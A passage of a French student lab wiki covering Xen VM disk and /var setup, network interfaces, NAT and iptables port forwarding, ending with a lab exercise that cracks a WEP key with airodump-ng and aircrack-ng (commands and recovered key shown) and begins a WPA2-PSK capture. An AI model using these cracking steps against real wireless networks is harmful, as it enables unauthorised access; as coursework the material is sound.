** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand tu en as beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, tu as :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si tu oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, tu vas vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; Xen → aux interfaces &amp;lt;code&amp;gt;ethX&amp;lt;/code&amp;gt; dans la VM ===&lt;br /&gt;
&lt;br /&gt;
==== Côté Xen (Dom0) : tu déclares des VIF ====&lt;br /&gt;
Dans le fichier de config Xen de ta VM, tu as un truc du style :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Interprétation :'''&lt;br /&gt;
&lt;br /&gt;
* Tu crées '''2 cartes réseau virtuelles''' (2 VIF) pour la VM.&lt;br /&gt;
* Chaque VIF :&lt;br /&gt;
** a une '''MAC''' (pour l’identifier)&lt;br /&gt;
** est branchée sur un '''bridge''' Xen/Linux (un switch virtuel)&lt;br /&gt;
&lt;br /&gt;
Donc en mode “câblage” :&lt;br /&gt;
&lt;br /&gt;
* VIF #1 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
* VIF #2 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Dans la VM (DomU) : ces VIF apparaissent comme &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, … ====&lt;br /&gt;
Quand la VM boot :&lt;br /&gt;
&lt;br /&gt;
* Xen “présente” ces VIF à l’OS invité&lt;br /&gt;
* l’OS les voit comme des interfaces réseau classiques&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* '''la 1ère VIF''' devient &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''la 2ème VIF''' devient &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; ou des noms type &amp;lt;code&amp;gt;ens3&amp;lt;/code&amp;gt;), mais '''dans ton TP tu es bien sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;''', donc on garde ça.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
ip addr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Tu verras &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; et leurs MAC. Tu peux matcher avec celles du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Le bridge Xen = “le switch” auquel la carte est connectée ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=pont_Gercourt&amp;lt;/code&amp;gt; : réseau '''privé IPv4''' entre tes VMs (commutateur virtuel interne)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;) : réseau '''public / infra école / Internet'''&lt;br /&gt;
&lt;br /&gt;
Donc, si ta VM a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt; → elle est sur le réseau privé&lt;br /&gt;
* &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; → elle est sur le réseau public&lt;br /&gt;
&lt;br /&gt;
C’est exactement pour ça que dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; tu mets :&lt;br /&gt;
&lt;br /&gt;
* IPv4 privé sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* IPv6 (direct) sur &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que tu mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* tes machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si tu mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* tu forces l’utilisation d’un routeur précis&lt;br /&gt;
* tu perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
=== MASCARED D'IP ===&lt;br /&gt;
&lt;br /&gt;
=== Le problème ===&lt;br /&gt;
Tes VM de service sont en '''IPv4 privé''' (ex: &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Ces adresses '''ne sont pas routables sur Internet''' (elles n’existent pas “officiellement” sur le réseau public).&lt;br /&gt;
&lt;br /&gt;
Donc si une VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; envoie un paquet vers Internet (ex: &amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;), le monde extérieur ne peut pas répondre directement à &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → c’est une adresse privée.&lt;br /&gt;
&lt;br /&gt;
'''La solution : NAT sortant (Masquerade)'''&lt;br /&gt;
&lt;br /&gt;
La machine '''mandataire''' (Rosemonde dans mon cas) joue le rôle de '''gateway NAT''' :&lt;br /&gt;
&lt;br /&gt;
* '''En interne''' : les services parlent en &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''En externe''' : le mandataire remplace l’IP source par '''son IP publique''' (ex: &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc vu depuis Internet, tout semble venir de &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; :&amp;lt;blockquote&amp;gt;“Quand un paquet sort vers Internet depuis le réseau privé, réécris son IP source avec l’IP publique du mandataire.”&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
Le NAT n’est pas “juste une règle”. Ça marche avec un système d’état appelé '''conntrack''' (suivi de connexions).&lt;br /&gt;
&lt;br /&gt;
Exemple : la VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; fait un &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt; vers un serveur public &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La VM envoie :&lt;br /&gt;
&lt;br /&gt;
* source = &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
* destination = &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;&lt;br /&gt;
Le mandataire applique &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; en sortie (POSTROUTING) :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt; (port éventuellement modifié)&lt;br /&gt;
Le mandataire enregistre une “table de correspondance” (conntrack) :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt; ↔ &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;&lt;br /&gt;
Quand la réponse revient de &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt; vers &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;,  le mandataire “dé-NAT” automatiquement et renvoie vers :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le NAT permet à '''plusieurs machines privées''' de partager '''une seule IPv4 publique''' grâce à :&lt;br /&gt;
&lt;br /&gt;
* réécriture d’IP&lt;br /&gt;
* réécriture de ports (PAT)&lt;br /&gt;
* suivi d’état (conntrack)&lt;br /&gt;
&lt;br /&gt;
==== Lire un fichier iptables &amp;lt;code&amp;gt;/etc/iptables/rules.v4&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generated by iptables-save v1.8.9 (nf_tables) on Thu Jan 22 18:31:33 2026&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
COMMIT&lt;br /&gt;
# Completed on Thu Jan 22 18:31:33 2026&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
...&lt;br /&gt;
COMMIT&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Les chaînes (ultra important)'''&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : NAT fait ''avant'' que Linux décide où router le paquet  → typiquement '''DNAT''' (port forwarding)&lt;br /&gt;
* '''POSTROUTING''' : NAT fait ''juste avant'' que le paquet sorte sur une interface  → typiquement '''SNAT/MASQUERADE''' (NAT sortant)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ça veut dire :&lt;br /&gt;
&lt;br /&gt;
* Si quelqu’un sur Internet fait :&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
&lt;br /&gt;
Donc tu exposes plusieurs SSH internes via '''un seul serveur public''', en jouant sur les ports.&lt;br /&gt;
&lt;br /&gt;
Note importante : DNAT ne suffit pas toujours tout seul : il faut aussi que le '''forwarding''' soit autorisé (et éventuellement règles &amp;lt;code&amp;gt;filter&amp;lt;/code&amp;gt; si tu as une politique restrictive). Dans ton cas, tu n’as montré que la table &amp;lt;code&amp;gt;nat&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Traduction :&lt;br /&gt;
&lt;br /&gt;
* Tout paquet qui '''sort''' et dont la source est dans &amp;lt;code&amp;gt;192.168.3.0/29&amp;lt;/code&amp;gt; verra son IP source remplacée par l’IP publique du mandataire.&lt;br /&gt;
* Pareil pour &amp;lt;code&amp;gt;10.60.0.0/16&amp;lt;/code&amp;gt; (ces adresses seront à rajoutées pour la suite du TP pour l'instant ne les ajoutés pas)&lt;br /&gt;
&lt;br /&gt;
=== Autre amélioration très recommandée : préciser l’interface de sortie ===&lt;br /&gt;
Sans &amp;lt;code&amp;gt;-o eth1&amp;lt;/code&amp;gt;, tu peux NATer des flux que tu ne voulais pas NATer si tu as plusieurs sorties. La version “propre” :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/27 -o eth1 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Mais dans notre TP, il n'y pas besoin de ça&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
